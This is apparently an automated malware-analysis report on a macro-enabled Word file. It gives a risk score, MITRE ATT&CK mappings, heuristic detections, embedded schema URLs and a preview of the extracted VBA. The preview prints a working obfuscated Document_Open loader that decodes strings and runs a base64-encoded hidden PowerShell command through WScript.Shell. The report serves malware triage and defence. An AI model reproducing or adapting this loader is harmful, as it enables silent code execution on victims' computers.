MALICIOUS
204
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File Execution: User Execution: Malicious File
T1140 Deobfuscate/Decode Files or Information
The sample contains a Document_Open VBA macro that executes obfuscated code. This code uses CreateObject and string concatenation to construct and execute a command, likely to download and run a second-stage payload. The obfuscated nature and auto-execution indicate a malicious intent to compromise the user's system.
Heuristics 7
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4165 bytes |
SHA-256: 8fa31d6fcdfba8092f95cc149a83110b032ae33742ef3e65e973ff4eab77d6ff |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
eN8aSo.ulaVAuQ1M9K_7v__GnRA
End Sub
Attribute VB_Name = "eN8aSo"
Sub ulaVAuQ1M9K_7v__GnRA()
While "nJfO_" = "u_G_j"
Const b_OR6 = "o6qCw"
Wend
On Error Resume Next
l7lBc = g_A(117) & g_A(159) & g_A(150) & g_A(82) & g_A(97) & g_A(117) & g_A(82) & g_A(162) & g_A(144) & g_A(129) & g_A(169) & g_A(144) & g_A(119) & g_A(132) & g_A(144) & g_A(165) & g_A(144) & g_A(122) & g_A(119) & g_A(144) & g_A(158) & g_A(126) & g_A(82) & g_A(95) & g_A(151) & g_A(82)
While "IM3" = "WFY_"
Const Ghna1 = "rYfj4"
Wend
l7lBc = l7lBc & "WwBzAFkAUwBUAGUATQAuAHQARQBYAFQALgBFAG4AQwBPAGQASQBOAGcAXQA6ADoAdQBuAEkAYwBvAEQARQAuAEcARQB0AFMAVABSAEkATgBnACgAWwBTAFkAcwB0AGUAbQAuAGMAbwBOAFYAZQBSAFQAXQA6ADoARgByAG8AbQBiAGEAUwBlADYANABzAHQAUgBpAG4AZwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAG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QBZAFEAQgAwAEEARwBNAEEAYQBBAEIANwBBAEgAMABBACIAKQApAHwAaQBFAFgA"
While "Eg2sx" = "lOtL"
Const GtcL9 = "ojMK8"
Wend
oONd__VzGh_Zdo (l7lBc)
While "p_a" = "pU_fT"
Const MVLbn = "hpGMx"
Wend
End Sub
Function oONd__VzGh_Zdo(OhzTyVpYBbRJygydYJ As String)
zh_v__o__H_ryR3gjM = g_A(137) & g_A(133) & g_A(117) & g_A(164) & g_A(155) & g_A(162) & g_A(166) & g_A(96) & g_A(165) & g_A(154) & g_A(151) & g_A(158) & g_A(158)
While "HQ9nE" = "RAB"
Const hdy4E = "yjB_B"
Wend
Set Yx9_wRrsb_mkbE4rSurg_MI = CreateObject(zh_v__o__H_ryR3gjM)
U__T_p5spa2HLzt = 0
While "MvXG_" = "N9o_"
Const TmHXM = "YHoN_"
Wend
K_cFZ_omHLlgzw_lQtNG = Yx9_wRrsb_mkbE4rSurg_MI.Run(OhzTyVpYBbRJygydYJ, U__T_p5spa2HLzt)
End Function
Function g_A(f___d As Integer)
ofpdudfv = "ifguofgifouids
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 15872 bytes |
SHA-256: 6416f6d514d3bfb26e65ab3fdca6f0ab081fd93149c3712ae685d44de631aab3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.